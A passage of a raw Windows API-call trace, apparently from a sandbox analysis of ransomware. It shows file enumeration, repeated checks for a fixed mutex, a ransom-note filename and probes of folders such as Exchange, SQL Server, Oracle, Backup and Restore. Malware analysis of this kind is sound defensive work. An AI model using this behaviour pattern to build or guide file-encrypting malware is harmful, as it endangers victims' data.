ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0055.277] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0055.277] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.277] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.277] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.277] GlobalUnlock (hMem=0x44000c) returned 0 [0055.278] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.278] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.278] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.278] GlobalUnlock (hMem=0x44000c) returned 0 [0055.278] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.278] GlobalUnlock (hMem=0x440004) returned 0 [0055.278] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.278] CharLowerBuffW (in: lpsz="VBE7.DLL", cchLength=0x8 | out: lpsz="vbe7.dll") returned 0x8 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="7", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="7ê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0055.278] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL", cchWideChar=64, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL ", lpUsedDefaultChar=0x0) returned 64 [0055.278] CharLowerBuffW (in: lpsz=".DLL", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0055.278] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllShared\\VBA\\VBA7\\VBE7.DLL ", lpUsedDefaultChar=0x0) returned 4 [0055.279] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0055.279] GetLastError () returned 0x12 [0055.279] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0055.279] GlobalLock (hMem=0x440004) returned 0x550170 [0055.279] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.279] GlobalUnlock (hMem=0x440004) returned 0 [0055.279] GlobalLock (hMem=0x440004) returned 0x550170 [0055.279] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.279] GlobalHandle (pMem=0x550170) returned 0x440004 [0055.279] GlobalUnlock (hMem=0x440004) returned 0 [0055.279] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.279] GlobalUnlock (hMem=0x44000c) returned 0 [0055.279] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d78, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0055.279] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0055.279] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0055.279] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.279] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.279] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.279] GlobalUnlock (hMem=0x44000c) returned 0 [0055.279] GlobalLock (hMem=0x44000c) returned 0x550170 [0055.280] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.280] GlobalHandle (pMem=0x550170) returned 0x44000c [0055.280] GlobalUnlock (hMem=0x44000c) returned 0 [0055.280] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.280] GlobalUnlock (hMem=0x440004) returned 0 [0055.280] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.280] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.280] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.280] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.280] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.280] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.280] GlobalUnlock (hMem=0x440004) returned 0 [0055.280] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.280] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.280] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.280] GlobalUnlock (hMem=0x440004) returned 0 [0055.280] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.280] GlobalUnlock (hMem=0x44000c) returned 0 [0055.280] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.280] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xc25685a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc25685a0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0055.280] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0055.280] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0055.280] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.280] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.280] GlobalUnlock (hMem=0x44000c) returned 0 [0055.281] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.281] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.281] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.281] GlobalUnlock (hMem=0x44000c) returned 0 [0055.281] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.281] GlobalUnlock (hMem=0x440004) returned 0 [0055.281] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.281] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.281] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.281] GlobalUnlock (hMem=0x440004) returned 0 [0055.281] GlobalLock (hMem=0x440004) returned 0x555b78 [0055.281] GlobalLock (hMem=0x44000c) returned 0x557b88 [0055.281] GlobalHandle (pMem=0x555b78) returned 0x440004 [0055.281] GlobalUnlock (hMem=0x440004) returned 0 [0055.281] GlobalHandle (pMem=0x557b88) returned 0x44000c [0055.281] GlobalUnlock (hMem=0x44000c) returned 0 [0055.281] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0055.281] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033", len=0x3c | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033") returned 1 [0055.281] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.281] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.281] GlobalUnlock (hMem=0x44000c) returned 0 [0055.281] GlobalLock (hMem=0x44000c) returned 0x555b78 [0055.281] GlobalLock (hMem=0x440004) returned 0x557b88 [0055.281] GlobalHandle (pMem=0x555b78) returned 0x44000c [0055.282] GlobalUnlock (hMem=0x44000c) returned 0 [0055.282] GlobalHandle (pMem=0x557b88) returned 0x440004 [0055.282] GlobalUnlock (hMem=0x440004) returned 0 [0055.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\") returned 26 [0055.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夊U壞U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0055.286] GetLastError () returned 0x3 [0055.286] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.286] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0055.286] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\") returned 21 [0055.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0055.288] GetLastError () returned 0x2 [0055.288] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.288] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0055.288] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\") returned 9 [0055.288] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@蟌T企@\x18?T\x18;")) returned 0xffffffff [0055.296] GetLastError () returned 0x2 [0055.296] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0055.296] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\") returned 8 [0055.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@蜄T企@\x18?T\x18D")) returned 0xffffffff [0055.298] GetLastError () returned 0x2 [0055.298] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0055.298] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0055.299] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@塤U企@\x18蟌T\x18j")) returned 0xffffffff [0055.300] GetLastError () returned 0x2 [0055.300] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0055.300] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0055.301] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@뾴R企@\x18?T\x18q")) returned 0xffffffff [0055.302] GetLastError () returned 0x2 [0055.302] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="adobe\\蟈TÀ") returned 6 [0055.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0055.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@삌R企@\x18?T\x18y")) returned 0xffffffff [0055.305] GetLastError () returned 0x2 [0055.305] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0055.305] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0055.305] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@蜄T企@\x18?T\x18\x81")) returned 0xffffffff [0055.306] GetLastError () returned 0x2 [0055.307] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0055.307] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0055.307] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@뾴R企@\x18?T\x18\x88")) returned 0xffffffff [0055.308] GetLastError () returned 0x2 [0055.308] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0055.309] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0055.309] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a6d8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="夬U䱠@삌R企@\x18?T\x18\x8f")) returned 0xffffffff [0055.310] GetLastError () returned 0x2 [0055.310] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\") returned 0x3d [0055.310] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a7e8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0055.311] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0055.311] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b88, 